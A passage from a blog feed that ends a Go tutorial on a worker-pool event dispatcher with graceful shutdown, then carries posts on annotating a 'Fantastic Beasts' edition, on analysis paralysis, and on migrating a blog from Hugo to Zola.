<span class="giallo-l"><span>ctx</span><span>,</span><span> cancel</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> context</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">WithCancel</span><span>(</span><span>context</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Background</span><span>(</span><span>)</span><span>)</span></span></code></pre>
<p>And in the main thread, the client would block on <code>closeChan</code> channel like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Listen on close channel indefinitely until a</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> `SIGINT` or `SIGTERM` is received.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">&lt;-</span><span>closeChan</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Cancel the context to gracefully shutdown.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">cancel</span><span>(</span><span>)</span></span></code></pre>
<p>When <code>cancel()</code> is called, it does something special. It passes a value to <code>ctx.Done()</code> channel. We can listen to this channel in the <code>.Run()</code> function and flush pending events accordingly:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">case</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> ctx</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Done</span><span>(</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Ensure no new messages are added.</span></span>
<span class="giallo-l"><span>	d</span><span>.</span><span>Finished</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Flush all events.</span></span>
<span class="giallo-l"><span>	e</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Flush</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> This Goroutine has finished processing.</span></span>
<span class="giallo-l"><span>	wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Done</span><span>(</span><span>)</span></span></code></pre>
<hr />
<p>Stitching all pieces together, we finally have:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">package</span><span style="color: light-dark(#6F42C1, #F69D50);"> dispatch</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> Dispatcher</span><span style="color: light-dark(#D73A49, #F47067);"> interface</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Push takes an Event and pushes to a queue.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">	Push</span><span>(</span><span style="color: light-dark(#6F42C1, #F69D50);">Event</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> error</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Run spawns the workers and waits indefinitely for</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> the events to be processed.</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">	Run</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> EventDispatcher represents the datastructure for an</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> EventDispatcher instance. This struct satisfies the</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Dispatcher interface.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> EventDispatcher</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span>	Opts</span><span style="color: light-dark(#6F42C1, #F69D50);">     Options</span></span>
<span class="giallo-l"><span>	Queue</span><span style="color: light-dark(#D73A49, #F47067);">    chan</span><span style="color: light-dark(#6F42C1, #F69D50);"> models</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">Notification</span></span>
<span class="giallo-l"><span>	Finished</span><span style="color: light-dark(#D73A49, #F47067);"> bool</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Options represent options for EventDispatcher.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> Options</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span>	MaxWorkers</span><span style="color: light-dark(#D73A49, #F47067);"> int</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Number of workers to spawn.</span></span>
<span class="giallo-l"><span>	MaxQueueSize</span><span style="color: light-dark(#D73A49, #F47067);"> int</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Maximum length for the queue to hold events.</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> NewEventDispatcher initialises a new event dispatcher.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> NewEventDispatcher</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">opts</span><span style="color: light-dark(#6F42C1, #F69D50);"> Options</span><span>)</span><span> (</span><span style="color: light-dark(#6F42C1, #F69D50);">Dispatcher</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	return</span><span style="color: light-dark(#6F42C1, #F69D50);"> EventDispatcher</span><span>{</span></span>
<span class="giallo-l"><span>		Opts</span><span>:</span><span> opts</span><span>,</span></span>
<span class="giallo-l"><span>		Queue</span><span>:</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">chan</span><span style="color: light-dark(#6F42C1, #F69D50);"> Event</span><span>,</span><span> opts</span><span>.</span><span>MaxQueueSize</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span>		Finished</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span>,</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Push adds a new event payload to the queue.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">d </span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#6F42C1, #F69D50);">EventDispatcher</span><span style="color: light-dark(#6F42C1, #F69D50);"> Push</span><span>(</span><span>event</span><span> Event</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> error</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span> d</span><span>.</span><span>Finished</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		return</span><span> errors</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">New</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#032F62, #96D0FF);">queue is closed</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>	d</span><span>.</span><span>Queue</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> event</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Run spawns workers and listens to the queue</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> It&#39;s a blocking function and waits for a cancellation</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> invocation from the Client.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">d </span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#6F42C1, #F69D50);">EventDispatcher</span><span style="color: light-dark(#6F42C1, #F69D50);"> Run</span><span>(</span><span>ctx</span><span> context</span><span>.</span><span>Context</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span>	wg</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #F69D50);"> sync</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">WaitGroup</span><span>{</span><span>}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>;</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span> d</span><span>.</span><span>Opts</span><span>.</span><span>MaxWorkers</span><span>;</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);">++</span><span> {</span></span>
<span class="giallo-l"><span>		wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Add</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>)</span><span style="color: light-dark(#6A737D, #768390);"> //</span><span style="color: light-dark(#6A737D, #768390);"> Add a wait group for each worker</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		//</span><span style="color: light-dark(#6A737D, #768390);"> Spawn a worker</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		go</span><span style="color: light-dark(#D73A49, #F47067);"> func</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			for</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">				select</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">				case</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span>ctx</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Done</span><span>(</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">					//</span><span style="color: light-dark(#6A737D, #768390);"> Ensure no new messages are added.</span></span>
<span class="giallo-l"><span>					d</span><span>.</span><span>Finished</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">					//</span><span style="color: light-dark(#6A737D, #768390);"> Flush all events</span></span>
<span class="giallo-l"><span>					e</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Flush</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>					wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Done</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">					return</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">				case</span><span> e</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> d</span><span>.</span><span>Queue</span><span>:</span></span>
<span class="giallo-l"><span>					e</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Process</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>				}</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"><span>		}</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>	wg</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Wait</span><span>(</span><span>)</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Push adds a new event payload to the queue.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">d </span><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#6F42C1, #F69D50);">EventDispatcher</span><span style="color: light-dark(#6F42C1, #F69D50);"> Push</span><span>(</span><span>event</span><span> Event</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> error</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span> d</span><span>.</span><span>Finished</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		return</span><span> errors</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">New</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#032F62, #96D0FF);">queue is closed</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>	d</span><span>.</span><span>Queue</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;-</span><span> event</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	return</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>This post doesn’t cover how to flush or process the events as these are implementation specific details.
This is a pretty barebones structure and you can modify the code according to your usecase.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Writing on books - Fantastic Beasts and Where to Find Them]]></title>
            <link>https://captnemo.in/blog/2020/11/29/fantastic-beasts-graffiti/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2020/11/29/fantastic-beasts-graffiti/</guid>
            <pubDate>Sun, 29 Nov 2020 00:00:00 GMT</pubDate>
            <description><![CDATA[“Fantastic Beasts and Where to Find Them” is a curious book:
The in-universe book is written by Newt Scamander and was published in 1927.
The first edition of the companion book was published in 2001. This is apparently the 52nd in-universe edition with a foreword from Dumbledore and was released to the muggle world for charity.
The 2001 edition pretends to be Harry’s copy of the book as of the end of Harry’s 4th year at Hogwarts. As such it includes hand-written comments from the trio. (Yes, Hermione writes on books!)
However, with the release of the film of the same name in 2016 - a new edition was released with lots of changes:
6 new beasts that made an appearance in the film were added to the book1:
    
Hidebehind
Hodag
Horned Serpent
Snallygaster
Thunderbird
Wampus cat
The hand-lettering was removed.
Dumbledore’s foreword is removed from the book, in favor of a in-universe foreword from Newt Scamander.
“About the Author” section changes Newt’s background. He no longer graduates from Hogwarts, just “leaves” it, as portrayed in the film.
All of these changes are meant to fix the inconsistencies in the book with the canon, however that also makes the book much less charming. I got myself a copy of the Hogwarts Library boxset a few years ago, which includes the newer edition of the book (Bloomsbury) - that means no witty comments from Ron.
Since it didn’t have the hand-lettering, I took it upon myself to fix that mistake. Thankfully, lists of all the comments in 2001 edition are available on the internet. The trickiest part was the “this book belongs to” page, which is missing from the newer edition. I ended up creating a faux-library card for that instead.
Here is what it looks like:

Ron plays hangman and loses.

      

Hermione writes on books!

      

Thanks to Bhavya for helping with the troll illustration.
I didn’t like the new additions, they sound less like a textbook and more like a transcript of what happened in the film. ↩]]></description>
            <content:encoded><![CDATA[<p>“Fantastic Beasts and Where to Find Them” is a curious book:</p>

<ul>
  <li>The in-universe book is written by Newt Scamander and was published in 1927.</li>
  <li>The first edition of the companion book was published in 2001. This is apparently the 52nd in-universe edition with a foreword from Dumbledore and was released to the muggle world for charity.</li>
  <li>The 2001 edition pretends to be Harry’s copy of the book as of the end of Harry’s 4th year at Hogwarts. As such it includes hand-written comments from the trio. (Yes, Hermione writes on books!)</li>
</ul>

<p>However, with the release of the film of the same name in 2016 - a new edition was released with lots of changes:</p>

<ol>
  <li>6 new beasts that made an appearance in the film were added to the book<sup id="fnref:1"><a href="#fn:1" class="footnote" rel="footnote" role="doc-noteref">1</a></sup>:
    <ul>
      <li>Hidebehind</li>
      <li>Hodag</li>
      <li>Horned Serpent</li>
      <li>Snallygaster</li>
      <li>Thunderbird</li>
      <li>Wampus cat</li>
    </ul>
  </li>
  <li>The hand-lettering was removed.</li>
  <li>Dumbledore’s foreword is removed from the book, in favor of a in-universe foreword from Newt Scamander.</li>
  <li>“About the Author” section changes Newt’s background. He <a href="https://old.reddit.com/r/harrypotter/comments/5z8ozu/new_edition_of_fantastic_beasts_removes_part/">no longer graduates from Hogwarts</a>, just “leaves” it, as portrayed in the film.</li>
</ol>

<p>All of these changes are meant to fix the inconsistencies in the book with the canon, however that also makes the book much less charming. I got myself a copy of the <a href="https://amzn.to/39ni3vh">Hogwarts Library boxset</a> a few years ago, which includes the newer edition of the book (Bloomsbury) - that means no witty comments from Ron.</p>

<p>Since it didn’t have the hand-lettering, I took it upon myself to fix that mistake. Thankfully, lists of <a href="https://harrypotter.fandom.com/wiki/Fantastic_Beasts_and_Where_to_Find_Them_(companion_book)#Comments_in_the_2001_edition">all the comments in 2001 edition</a> are available <a href="https://imgur.com/a/C2a1g">on the internet</a>. The trickiest part was the “this book belongs to” page, which is missing from the newer edition. I ended up creating a faux-library card for that instead.</p>

<p>Here is what it looks like:</p>

<div class="splide" id="image-slider" style="background-color:#efefef">
  <div class="splide__track">
    <ul class="splide__list">
      <li class="splide__slide"><img title="Ron plays hangman and loses" src="https://captnemo.in/img/fbawtft/mine/1.jpg" /><div>Ron plays hangman and loses.</div></li>
      <li class="splide__slide"><img title="The fake library card that says this book belongs to Harry Potter" src="https://captnemo.in/img/fbawtft/mine/3.jpg" /><div>Hermione writes on books!</div></li>
      <li class="splide__slide"><img src="https://captnemo.in/img/fbawtft/mine/4.jpg" /></li>
      <li class="splide__slide">
        <img src="https://captnemo.in/img/fbawtft/mine/2.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/5.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/6.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/7.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/8.jpg" />
      </li>
      <li class="splide__slide">
        <img src="https://captnemo.in/img/fbawtft/mine/10.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/11.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/12.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/13.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/14.jpg" />
      </li>
      <li class="splide__slide">
        <img src="https://captnemo.in/img/fbawtft/mine/16.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/17.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/18.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/19.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/20.jpg" />
      </li>
      <li class="splide__slide">
        <img src="https://captnemo.in/img/fbawtft/mine/15.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/21.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/22.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/23.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/24.jpg" />
      </li>
      <li class="splide__slide">
        <img src="https://captnemo.in/img/fbawtft/mine/25.jpg" />
        <img src="https://captnemo.in/img/fbawtft/mine/26.jpg" />
      </li>
    </ul>
  </div>
</div>

<p>Thanks to <a href="https://instagram.com/avyadraws/">Bhavya</a> for helping with the troll illustration.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1">
      <p>I didn’t like the new additions, they sound less like a textbook and more like a transcript of what happened in the film. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Analysis Paralysis - CrashLoopBackoff]]></title>
            <link>https://mrkaran.dev/posts/analysis-paralysis/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/analysis-paralysis/</guid>
            <pubDate>Fri, 27 Nov 2020 02:40:55 GMT</pubDate>
            <description><![CDATA[Have you ever been stuck in a situation where you’ve spent countless hours digging through lot of options, overthinking their pros/cons and having a tough time to decide?
If yes, I’ve been in the same boat myself and the more I think about this, I think it’s causing some serious issues in my productivity. Since I’ve started to self host a lot of services, I’m overthinking and overanalysing the software choices available to do a certain task. For eg, a personal wiki, sounds such a simple and common use case but I’ve personally tried countless choices. I’ve read and searched for these discussions on lobster/HN/Reddit discussions boards and that has been a real time sink for me, now that I look back. I’ll try an option for maybe a week or two at best and then jump on to something else in search of the perfect solution.
It’s hard for me to stick to a solution. And it’s even more embarassing when you tell your friends about the “latest new distro” you’re using, announce it to the world on Twitter and when someone asks, “hey how’s that OS working for you” after a month, you tell them “Oh, I switched from it last week”. I’m not making any of this up, I’ve been in these shoes myself and honestly it’s not a good feeling.
In the search of perfect I tend to lose sight of things that are important. Things which are slow, boring but they work are more reliable than a software which changes fast and breaks often. I want to fail cheap and quickly rather than spending a lot of time and still eventually failing.
No, this post doesn’t have any answers on how to fix this problem. Well, if I myself knew then I’d not be writing this but giving a TEDx talk on it. These are just my observations and something that I intend to actively fix.
Boring is better. I want to stick to stable choices when it comes to trivial things in life. I don’t wanna seek excitement or joy from switching to a cool new distro. Instead, by actually doing some important project at my work or building my side projects, something that gives me a genuine feeling of happiness. After all grass always seems to look greener on the other side.
I don’t usually pen down my thoughts like these, but I want to refer to this public post as a reminder for myself the next time I’m about to make the same mistake.
Fin.
UPDATE (2021-11-02): There’s a really nice video I came across today on the same subject. I’d highly recommend you to give this a listen if you found the above post relatable.]]></description>
            <content:encoded><![CDATA[<p>Have you ever been stuck in a situation where you’ve spent countless hours digging through lot of options, overthinking their pros/cons and having a tough time to decide?</p>
<p>If yes, I’ve been in the same boat myself and the more I think about this, I think it’s causing some serious issues in my productivity. Since I’ve started to self host a lot of services, I’m overthinking and overanalysing the software choices available to do a certain task. For eg, a personal wiki, sounds such a simple and common use case but I’ve personally tried countless choices. I’ve read and searched for these discussions on lobster/HN/Reddit discussions boards and that has been a real time sink for me, now that I look back. I’ll try an option for maybe a week or two at best and then jump on to something else in search of <em>the perfect</em> solution.</p>
<p>It’s hard for me to stick to a solution. And it’s even more embarassing when you tell your friends about the “latest new distro” you’re using, announce it to the world on Twitter and when someone asks, “hey how’s that OS working for you” after a month, you tell them “Oh, I switched from it last week”. I’m not making any of this up, I’ve been in these shoes myself and honestly it’s not a good feeling.</p>
<p>In the search of <em>perfect</em> I tend to lose sight of things that are important. Things which are slow, boring but they <em>work</em> are more reliable than a software which changes fast and breaks often. I want to fail cheap and quickly rather than spending a lot of time and still eventually failing.</p>
<p>No, this post doesn’t have any answers on how to fix this problem. Well, if I myself knew then I’d not be writing this but giving a TEDx talk on it. These are just my observations and something that I intend to actively fix.</p>
<p>Boring is better. I want to stick to stable choices when it comes to trivial things in life. I don’t wanna seek excitement or joy from switching to a cool new distro. Instead, by actually doing some important project at my work or building my side projects, something that gives me a genuine feeling of happiness. After all grass always seems to look greener on the other side.</p>
<p>I don’t usually pen down my thoughts like these, but I want to refer to this public post as a reminder for myself the next time I’m about to make the same mistake.</p>
<p>Fin.</p>
<p><strong>UPDATE</strong> (2021-11-02): There’s a really nice <a rel="external" href="https://www.youtube.com/watch?v=VO6XEQIsCoM&amp;t=638">video</a> I came across today on the same subject. I’d highly recommend you to give this a listen if you found the above post relatable.</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Migrating my blog to Zola]]></title>
            <link>https://mrkaran.dev/posts/migrating-to-zola/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/migrating-to-zola/</guid>
            <pubDate>Sun, 08 Nov 2020 02:40:55 GMT</pubDate>
            <description><![CDATA[I’ve been writing on this blog for about 2 years now. This has been the longest I’ve stuck on to the same technology stack for my blog. I’ve previously jumped from a Jekyll based static site to a Medium blog before finally settling for Hugo.
I’ve been using Hugo since 2018 but I don’t recall as to why I went ahead with it. Maybe it was increasingly popular at that time and everyone touted Hugo as the solution to Static Site Generator (referred to as SSG from here on). There are 1000s of SSGs and at least a dozen of websites which lists all the SSGs out there. This is crazy by any standards. Hugo started as a generic blog generator but over the years it has become a website generator. It’s no longer aimed at people who just want to have a small little static website/blog but supports all the use cases for people building full-fledged static websites. IMHO these two goals are overarching however this has resulted in a simple project to become incredibly complex over time.
Tipping Point#
Anyway, so I wanted to change the look of the homepage on my website so I decided to look at Hugo’s documentation. Hugo’s documentation is great for someone who knows what exactly are they looking for. The documentation is so huge that you simply cannot grok it in one evening. I had zero ideas on how to customise the damn homepage of my blog and after spending hours buried in the documentation I was able to kind of figure the solution but it was unintuitive, to say the least. Apparently, to override any template from the theme, you have to mirror the directory structure of the theme in your root directory. Which meant, I needed to look at the source code of the theme, figure out the project structure, copy-paste all the folder names and put my override of index.html there. Which, BTW magically overrides it. This whole magic thing is BS and I am being strongly opinionated here.
There is more than one way to do something in Hugo. Different theme authors use different styles, which makes the whole thing even more complex. It also means for my customisations to work across themes, well you guessed it right: it’s impossible.
Recently I discovered that I was unable to preview my Hugo website locally without internet because I had a Twitter shortcode in one of my blog post (which makes an API call to Twitter to render a nice card preview). The site completely failed to render instead of just logging a warning. Bollocks.
The tipping point for me, however, was when the theme I was using stopped working with the latest version of Hugo at that point. So, picture this – You make dozens of custom changes and then one update just breaks your website. Now not only you have to fix your shit but the theme you were using, you’ve to make upstream changes to the theme or maintain your own fork. And no, this is not a one-off experience. Hugo upgrades are a joke, they are known to break very very often.
I was done at this point. I didn’t want to deal with this BS of continuously fighting the generator for my blog.
A fresh change#
Being a practitioner of Yak Shaving, I discussed the idea of a “tinyhugo” with Kailash and Sarat. We’d arrived at a spec and I started writing some code to pander to my NIH syndrome.
However, I was still not convinced that a simpler solution doesn’t exist. I spent countless hours exploring other alternatives. I’d used Lektor, Pelican, Eleventy before finally stumbling upon Zola from HN/Lobster discussions. I’ve got to say, the landing page gave a fresh feeling - one that I’ve not seen with any other alternatives. In fact quite opposite to the Eleventy landing page which looks like an over-engineered piece of software to generate websites (Not hating on it, there might be use cases for it, but the JS tooling and dependency system is something that I would not want to touch with a 10ft pole).
Zola’s primary appeal to me was that like Hugo it’s extremely fast and comes as a single binary no dependency package. I looked at the docs the first impression was they are concise enough to get a basic idea. Zola is strongly opinionated, even to the extent of dictating a project structure and sometimes filenames too. I actually preferred this over the magic Hugo does. In less than 2 hours I was able to port the home page of my blog (and tweak it to my liking) in Zola. I decided to abandon my own tinyhugo attempt because for the very fact Zola fits my needs very well.
The thing that I really loved about Zola is how it enforces a separation between Section and Pages. The section represents a “collection” of posts. So a blog can be a section, and I can have another section called “Book Reviews”. I could easily tell Zola where to look for the templates by specifying the same in content/book_reviews/_index.md. I don’t have to read Hugo docs or do Google-fu to figure this out, it’s right there in the docs and very apparent.
For the record, I still don’t know how to customise different templates for different sections in Hugo, but I couldn’t care less.
Migration#
The migration was pretty straightforward – I had to copy the content folders of my blog (which are just a bunch of .md files) and replace YAML frontmatter to TOML. There were a few variable changes that I needed to do manually but since they were a manageable 20-25 posts, I did it by hand. I could potentially automate but then rabbit deep in the rabbit hole of Yak Shaving. The good part was that I was able to retain the same URL structure for my new blog because the URL scheme was based on the file paths.
I spent some time porting hugo-ink to Zola and did minor CSS tweaks to it. Zola uses the Tera language for templating and it’s much more pleasing to eyes than the Go Template syntax. Zola comes with pretty neat features like Search, RSS/Atom Feeds, Syntax Highlighting and SASS->CSS Processors.
What took me time however was to figure out how to get opengraph tags in each page. Hugo provides nifty template for this use case but Zola is pretty barebones like that. People who care a lot about SEO need to spend some extra efforts here.
Future#
Zola is still a pretty new kid on the block but the author shares the same frustration about Hugo:
it personally drives me insane, to the point of writing my own template engine and static site generator. Yes, this is a bit biased. – Source
This also reflects in the issues/PRs I’ve seen for Zola and the author is opinionated about not adding features which would make Zola complicated. Overall I am very happy with the switch and it was long due. I feel more confident in tweaking certain sections of my website. I plan to open-source the current theme in the next few days.
You can read the Source Code of this website if you’d like to explore how this website is built.
Fin!]]></description>
